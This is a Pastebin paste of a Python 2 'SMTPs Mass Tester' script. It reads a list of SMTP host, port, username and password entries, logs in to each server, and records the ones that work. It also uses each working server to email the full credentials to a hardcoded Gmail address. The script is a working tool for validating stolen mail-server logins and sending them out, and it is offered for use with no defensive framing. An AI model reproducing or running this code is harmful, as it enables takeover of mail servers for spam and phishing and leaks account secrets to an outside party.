ToKeiChun

SMTPs Mass Tester + Send to e-Mail

Nov 7th, 2019
2,187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.67 KB | None | 0 0
  1. import smtplib,os,random,time
  2. from email.mime.text import MIMEText
  3. from time import strftime
  4. from colorama import *
  5. import sys
  6. from optparse import OptionParser
  7. import sys
  8. import warnings
  9. import subprocess
  10. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  11. warnings.simplefilter('ignore',InsecureRequestWarning)
  12. reload(sys)
  13. sys.setdefaultencoding('utf8')
  14. init(autoreset=True)
  15.  
  16. la7mar = '\033[91m'
  17. lazra9 = '\033[94m'
  18. la5dhar = '\033[92m'
  19. movv = '\033[95m'
  20. lasfar = '\033[93m'
  21. ramadi = '\033[90m'
  22. blid = '\033[1m'
  23. star = '\033[4m'
  24. bigas = '\033[07m'
  25. bigbbs = '\033[27m'
  26. hell = '\033[05m'
  27. saker = '\033[25m'
  28. labyadh = '\033[00m'
  29. cyan = '\033[0;96m'
  30. r = Fore.RED
  31. g = Fore.GREEN
  32. w = Fore.WHITE
  33. b = Fore.BLUE
  34. y = Fore.YELLOW
  35. m = Fore.MAGENTA
  36.  
  37.  
  38. def cls():
  39. linux = 'clear'
  40. windows = 'cls'
  41. os.system([linux, windows][os.name == 'nt'])
  42.  
  43.  
  44. def print_logo():
  45. clear = "\x1b[0m"
  46. colors = [36, 32, 34, 35, 31, 37]
  47.  
  48. x = """
  49.  
  50. ____ __ __ _____ ____ _____ _
  51. / ___|| \/ |_ _| _ \ ___ |_ _|__ ___| |_
  52. \___ \| |\/| | | | | |_) / __| | |/ _ \/ __| __|
  53. ___) | | | | | | | __/\__ \ | | __/\__ \ |_
  54. |____/|_| |_| |_| |_| |___/ |_|\___||___/\__|
  55.  
  56. MisterSpy
  57.  
  58. Note : domain|ip|user|pass
  59.  
  60.  
  61.  
  62. """
  63. for N, line in enumerate(x.split("\n")):
  64. sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
  65. time.sleep(0.1)
  66.  
  67.  
  68.  
  69. cls()
  70. print_logo()
  71. address='aqilnaila23@gmail.com'
  72. a=raw_input('Enter List Smtp: ')
  73. ob = open(a,'r')
  74. lists = ob.readlines()
  75. list1 = []
  76. i = 0
  77. for i in range(len(lists)):
  78. list1.append(lists[i].strip('\n'))
  79. count = 0
  80. for site in (list1):
  81. ur = site.rstrip()
  82. ch= ur.split('\n')[0].split('|')
  83. serveraddr=ch[0]
  84. toaddr=address
  85. fromaddr=ch[2]
  86. serverport=ch[1]
  87. SMTP_USER=ch[2]
  88. SMTP_PASS=ch[3]
  89. now = strftime("%Y-%m-%d %H:%M:%S")
  90. msg = "From: %s\r\nTo: %s\r\nSubject: Test Message from smtptest at %s\r\n\r\nYour SMTPs : %s|%s|%s|%s\nSMTPs Checker Mail Result" % (fromaddr, toaddr, now, fromaddr, serverport, SMTP_USER, SMTP_PASS)
  91. server = smtplib.SMTP()
  92. try:
  93. server.connect(serveraddr, serverport)
  94. except:
  95. print "FAILED ===> "+ur
  96. print '\n'
  97. continue
  98. server.ehlo()
  99. if SMTP_USER != "":
  100. try:
  101. server.login(SMTP_USER, SMTP_PASS)
  102. except:
  103. print "FAILED ===> "+ur
  104. print '\n'
  105. continue
  106. try:
  107. server.sendmail(fromaddr, toaddr, msg)
  108. print "SUCCESS ===> "+ur+'\n'
  109. zzz=open('Valid.txt','a')
  110. zzz.write(site+'\n')
  111. except:
  112. print "FAILED ===> "+ur
  113. server.quit()
Add Comment
Please, Sign In to add comment